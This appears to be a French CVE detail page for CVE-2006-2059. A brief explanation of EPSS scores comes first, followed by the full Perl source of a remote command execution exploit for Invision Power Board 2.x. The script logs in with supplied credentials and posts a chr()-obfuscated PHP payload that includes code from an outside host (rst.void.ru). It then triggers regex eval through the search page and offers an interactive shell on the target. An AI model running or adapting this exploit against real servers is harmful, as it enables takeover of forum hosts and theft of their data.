CVE-2006-2059 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

#!/usr/bin/perl ## Invision Power Board 2.* commands execution exploit by RST/GHC ## vulnerable versions <= 2.1.5 ## tested on 2.1.4, 2.0.2 ## ## (c)oded by 1dt.w0lf ## RST/GHC ## http://rst.void.ru ## http://ghc.ru use IO::Socket; use Getopt::Std; getopts("l:h:p:d:f:v:"); $host = $opt_h; $dir = $opt_d; $login = $opt_l; $password = $opt_p; $forum = $opt_f; $version = $opt_v || 0; $|++; header(); if(!$host||!$dir||!$login||!$password||!$forum) { usage(); } print "[~] SERVER : $host\r\n"; print "[~] PATH : $dir\r\n"; print "[~] LOGIN : $login\r\n"; print "[~] PASSWORD : $password\r\n"; print "[~] TARGET : $version"; print (($version)?(' - IPB 2.1.*'):(' - IPB 2.0.*')); print "\r\n"; print "[~] Login ... "; $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED"; $login =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; $password =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; $post = 'UserName='.$login.'&PassWord='.$password; $loggedin = 0; print $sock "POST ${dir}index.php?act=Login&CODE=01 HTTP/1.1\r\n"; print $sock "Host: $host\r\n"; print $sock "Connection: close\r\n"; print $sock "Content-Type: application/x-www-form-urlencoded\n"; print $sock "Content-length: ".length($post)."\r\n\r\n"; print $sock "$post"; print $sock "\r\n\r\n"; while (<$sock>) { if(/session_id=([a-f|0-9]{32})/) { $sid = $1; } } $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED"; print $sock "GET ${dir}index.php HTTP/1.1\r\n"; print $sock "Host: $host\r\n"; print $sock "Cookie: session_id=$sid;\r\n"; print $sock "Connection: close\r\n\r\n"; while (<$sock>) { if(/act=Login&amp;CODE=03/) { $loggedin = 1; last; } } if($loggedin) { print " [ DONE ]\r\n"; } else { print " [ FAILED ]\r\n"; exit(); } print "[+] SID: $sid\r\n"; print "[~] Try get md5_check ..."; $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED"; if($version==1) { print $sock "GET ${dir}index.php?act=post&do=new_post&f=${forum} HTTP/1.1\r\n"; } else { print $sock "GET ${dir}index.php?act=Post&CODE=00&f=${forum} HTTP/1.1\r\n"; } print $sock "Host: $host\r\n"; print $sock "Cookie: session_id=$sid;\r\n"; print $sock "Connection: close\r\n\r\n"; while (<$sock>) { if($version == 1 && /ipb_md5_check\s*= \"([a-f|0-9]{32})\"/) { $md5_check = $1; last; } if($version == 0 && /auth_key' value='([a-f|0-9]{32})/) { $md5_check = $1; last; } } close($sock); if($md5_check) { print " [ DONE ]\r\n"; print "[+] MD5_CHECK : $md5_check\r\n"; } else { print " [ FAILED ]\r\n"; exit(); } print "[~] Create new message ..."; $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED"; $created = 0; $text = 'r57ipbxplhohohoeval(include(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(114).chr(115).chr(116).chr(46).chr(118).chr(111).chr(105).chr(100).chr(46).chr(114).chr(117).chr(47).chr(114).chr(53)'. '.chr(55).chr(105).chr(112).chr(98).chr(105).chr(110).chr(99).chr(46).chr(116).chr(120).chr(116))); //'; $post = "st=0&act=Post&s=&f=${forum}&auth_key=${md5_check}&removeattachid=0&CODE=01&post_key=&TopicTitle=justxpl&TopicDesc=justxpl&poll_question=&ffont=0&fsize=0&Post=${text}&enableemo=yes&enablesig=yes&iconid=0"; print $sock "POST ${dir}index.php HTTP/1.1\r\n"; print $sock "Host: $host\r\n"; print $sock "Cookie: session_id=$sid;\r\n"; print $sock "Connection: close\r\n"; print $sock "Content-Type: application/x-www-form-urlencoded\n"; print $sock "Content-length: ".length($post)."\r\n\r\n"; print $sock "$post"; print $sock "\r\n\r\n"; while (<$sock>) { if(/Location:/) { $created = 1; last; } } if($created) { print " [ DONE ]\r\n"; } else { print " [ FAILED ]\r\n"; exit(); } $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED"; print "[~] Search message ..."; $post = 'keywords=r57ipbxplhohohoeval&namesearch='.$login.'&forums%5B%5D=all&searchsubs=1&prune=0&prune_type=newer&sort_key=last_post&sort_order=desc&search_in=posts&result_type=posts'; print $sock "POST ${dir}index.php?act=Search&CODE=01 HTTP/1.1\r\n"; print $sock "Host: $host\r\n"; print $sock "Cookie: session_id=$sid;\r\n"; print $sock "Connection: close\r\n"; print $sock "Content-Type: application/x-www-form-urlencoded\n"; print $sock "Content-length: ".length($post)."\r\n\r\n"; print $sock "$post"; print $sock "\r\n\r\n"; while (<$sock>) { if(/searchid=([a-f|0-9]{32})/) { $searchid = $1; last; } } if($searchid) { print " [ DONE ]\r\n"; } else { print "[ FAILED ]\r\n"; exit(); } print "[+] SEARCHID: $searchid\r\n"; $get = 'index.php?act=Search&CODE=show&searchid='.$searchid.'&search_in=posts&result_type=posts&highlite=r57ipbxplhohohoeval&lastdate=z|eval.*?%20//)%23e%00'; while () { print "Command for execute or 'exit' for exit # "; while(<STDIN>) { $cmd=$_; chomp($cmd); exit() if ($cmd eq 'exit'); last; } &run($cmd); } sub run() { $cmd =~ s/(.*);$/$1/eg; $cmd =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; $cmd2 = '%65%63%68%6F%20%5F%53%54%41%52%54%5F%20%26%26%20'; $cmd2 .= $cmd; $cmd2 .= '%20%26%26%20%65%63%68%6F%20%5F%45%4E%44%5F'; $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED"; print $sock "GET ${dir}${get}&eharniy_ekibastos=$cmd2 HTTP/1.1\r\n"; print $sock "Host: $host\r\n"; print $sock "Cookie: session_id=$sid;\r\n"; print $sock "Connection: close\r\n\r\n"; $on = 0; $runned = 0; while ($answer = <$sock>) { if ($answer =~ /^_END_/) { return 0; } if ($on == 1) { print " $answer"; } if ($answer =~ /^_START_/) { $on = 1; } } } sub header() { print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; print " Invision Power Board 2.* commands execution exploit by RST/GHC\r\n"; print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; } sub usage() { print "r57ipbce.pl -h <host> -d <dir> -l <login> -p <password> -f <forum> -v <version>\r\n\r\n"; print "<host> - host where IPB installed e.g www.ipb.com\r\n"; print "<dir> - folder where IPB installed e.g. /forum/ , /ipb/ , etc...\r\n"; print "<login> - login of any exist user\r\n"; print "<password> - and password too )\r\n"; print "<forum> - number of forum where user can create topic e.g 2,4, etc\r\n"; print "<version> - forum version:\r\n"; print " 0 - 2.0.*\r\n"; print " 1 - 2.1.*\r\n"; exit(); } # milw0rm.com [2006-04-26]